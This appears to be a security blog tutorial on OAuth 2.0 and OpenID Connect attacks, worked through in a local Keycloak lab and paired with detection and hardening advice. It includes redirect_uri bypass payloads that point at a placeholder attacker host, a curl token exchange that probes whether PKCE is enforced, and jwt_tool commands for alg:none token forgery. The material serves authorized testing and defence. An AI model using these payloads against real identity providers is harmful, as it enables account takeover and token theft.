Disclaimer: This article is for education and authorized security testing only. Only test systems you own or have explicit written permission to assess. Unauthorized access to identity systems is illegal in virtually every jurisdiction.
Introduction / Overview
OAuth 2.0 and OpenID Connect (OIDC) are the backbone of modern delegated authorization and federated login. They power "Sign in with Google," mobile-app token exchange, and machine-to-machine APIs. Because they sit at the trust boundary between an app, a user, and an identity provider (IdP), a single misconfiguration – a sloppy redirect_uri allowlist, a missing state, an exposed token – can lead to full account takeover.
This post walks through the most common OAuth/OIDC attack classes from an attacker's perspective, then weights an equal amount of attention on detection and defense. The protocol terms we cover precisely: redirect_uri, state, PKCE, token leakage, and the deprecated implicit flow.
How it works / Background
The Authorization Code flow is the recommended grant. The client redirects the user to the IdP, the IdP authenticates the user and returns a short-lived code to the client's registered redirect_uri, and the client exchanges that code at the /token endpoint for an access_token (and, in OIDC, an id_token). The code-for-token exchange happens over a back channel, so tokens never touch the browser URL.
The Implicit flow (response_type=token) instead returns the access token directly in the URL fragment. RFC 9700 (OAuth 2.0 Security Best Current Practice) now formally deprecates it because fragments leak via browser history, Referer headers, and logs.
Key security parameters:
redirect_uri– where the IdP sends the response. Must be matched exactly against a pre-registered allowlist. Loose matching (prefix, wildcard, or open redirects on the registered host) is the #1 root cause of OAuth account takeover.state– an opaque, unguessable value the client generates and verifies on return. It binds the response to the user's session and is the primary CSRF defense for the flow.- PKCE (RFC 7636) – Proof Key for Code Exchange. The client generates a random
code_verifier, sends its SHA-256 hash ascode_challenge, and proves possession of the verifier at token exchange. This stops authorization-code interception, especially on mobile/SPA public clients.
Prerequisites / Lab setup
Build a safe lab so you never touch production:
- Keycloak as the IdP, run locally in dev mode.
- Burp Suite (Community is fine) for intercepting and replaying authorization requests.
jwt_toolfor inspecting and tampering withid_token/access_tokenJWTs.
# Spin up a disposable Keycloak IdP
docker run -p 8080:8080 \
-e KEYCLOAK_ADMIN=admin \
-e KEYCLOAK_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:25.0 start-dev
# Clone jwt_tool for token inspection/tampering
git clone https://github.com/ticarpi/jwt_tool
pip3 install -r jwt_tool/requirements.txtBashCreate a realm, a confidential client, and deliberately register a loose redirect_uri like https://app.local/* so you can reproduce the issues below.
Walkthrough / PoC
1. redirect_uri manipulation
If the IdP does not match the redirect_uri exactly, you can redirect the authorization response (and the code) to an attacker-controlled endpoint. Test a baseline request, then mutate the parameter:
GET /realms/demo/protocol/openid-connect/auth?
client_id=webapp&
response_type=code&
scope=openid%20profile&
redirect_uri=https://app.local/callback&
state=Zx9...random HTTP/1.1
Host: localhost:8080HTTPClassic bypass payloads to fuzz against the allowlist:
https://app.local.attacker.com/callback # suffix confusion
https://app.local@attacker.com/callback # userinfo trick
https://app.local/callback/../../evil # path traversal
https://app.local//attacker.com # protocol-relative
https://app.local/redirect?next=//attacker # open redirect chainPlaintextIf any of these is accepted, the code lands on your server. Combined with a missing PKCE check, you exchange it for tokens directly.
2. Missing or unverified state (CSRF)
If the client never generates state, or returns it but never validates it, you can force-login a victim into your account (login CSRF) or stitch your code into their session. Capture a valid authorization response, strip the state, and replay it against the victim's browser. The fix and the test are symmetric: a flow without a unique, session-bound state per request is vulnerable.
3. PKCE downgrade / absence
For public clients, the absence of PKCE means an intercepted code is enough to mint tokens. Test whether the /token endpoint still issues tokens when you omit code_verifier, or when you send a mismatched verifier:
# Exchange a captured authorization code WITHOUT a code_verifier
curl -s -X POST http://localhost:8080/realms/demo/protocol/openid-connect/token \
-d grant_type=authorization_code \
-d client_id=webapp \
-d code=$CAPTURED_CODE \
-d redirect_uri=https://app.local/callbackBashIf a token comes back for a public client, PKCE is not enforced. A correct server returns invalid_grant when the code_verifier is missing or does not hash to the original code_challenge.
4. Token leakage and id_token tampering
Tokens leak through Referer headers (implicit flow), browser history, proxy logs, mobile WebViews, and overly broad postMessage handlers. Once you hold an id_token, inspect and try to tamper it:
# Inspect claims, signature, and check for alg:none / weak signing
python3 jwt_tool/jwt_tool.py "$ID_TOKEN"
# Attempt the classic "alg:none" unsigned-token bypass
python3 jwt_tool/jwt_tool.py "$ID_TOKEN" -X aBashA correctly configured Resource Server rejects alg:none, validates the iss, aud, exp, and nonce claims, and verifies the RS256 signature against the IdP's JWKS. See our deeper dive in JWT attacks and forgery for signature-confusion and key-confusion variants.
Mermaid diagram

This diagram shows how a loose redirect_uri plus missing PKCE chains into token theft and account takeover, while strict matching and enforced PKCE break the chain.
Detection & Defense (Blue Team)
Defenses should be weighted at least as heavily as the offense – most of these are one-time configuration hardenings.
Registration and redirect_uri:
- Enforce exact-string matching of
redirect_uri. No wildcards, no prefix matching, no trailing-slash leniency. Maintain a tight per-client allowlist. - Eliminate open redirects on any host that appears in the allowlist; they are equivalent to a wildcard.
Flow hardening:
- Use the Authorization Code flow with PKCE for every client type, including confidential ones (RFC 9700 guidance). Disable the implicit and password grants entirely.
- Generate a fresh, cryptographically random
stateper request and reject responses whosestatedoes not match the session. In OIDC, also validatenoncein theid_token. - Bind tokens to the sender where possible (DPoP / mTLS-bound tokens) so a leaked bearer token cannot be replayed.
Token validation (Resource Server):
- Reject
alg:noneand any algorithm not on an explicit allowlist. Validateiss,aud,exp,iat, and signature against the IdP JWKS. - Keep access tokens short-lived; use rotating, one-time-use refresh tokens.
Detection / monitoring:
- Alert on token-endpoint requests with mismatched or absent
code_verifier, and on authorization requests withredirect_urivalues outside the allowlist. - Log and rate-limit by
client_id; flag spikes ininvalid_grantandinvalid_redirect_urierrors, which indicate active fuzzing.
A simple log-side detector for redirect-uri tampering attempts:
# Flag authorization requests whose redirect_uri is not in the allowlist
grep "protocol/openid-connect/auth" access.log \
| grep -v "redirect_uri=https%3A%2F%2Fapp.local%2Fcallback" \
| awk '{print $1, $7}'BashThis maps to MITRE ATT&CK T1550.001 (Application Access Token) and T1528 (Steal Application Access Token). For mobile-specific token storage and WebView interception, see Android app pentesting with Frida and Burp Suite for mobile API testing.
Conclusion
OAuth 2.0 and OIDC fail safely only when every guardrail is present at once: exact redirect_uri matching, a verified state/nonce, enforced PKCE, retired implicit flow, and strict token validation. Attackers chain the weakest of these into account takeover, so defenders must treat each as non-optional. Build the Keycloak lab above, reproduce each issue, then verify that hardening it breaks the exploit.
References
- RFC 9700 – OAuth 2.0 Security Best Current Practice: https://www.rfc-editor.org/rfc/rfc9700
- RFC 7636 – PKCE: https://www.rfc-editor.org/rfc/rfc7636
- RFC 6749 – The OAuth 2.0 Authorization Framework: https://www.rfc-editor.org/rfc/rfc6749
- OpenID Connect Core 1.0: https://openid.net/specs/openid-connect-core-1_0.html
- OWASP – OAuth 2.0 Security Cheat Sheet: https://cheatsheetseries.owasp.org/
- HackTricks – OAuth to Account Takeover: https://book.hacktricks.xyz/pentesting-web/oauth-to-account-takeover
- MITRE ATT&CK – T1528 Steal Application Access Token: https://attack.mitre.org/techniques/T1528/
- jwt_tool: https://github.com/ticarpi/jwt_tool
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments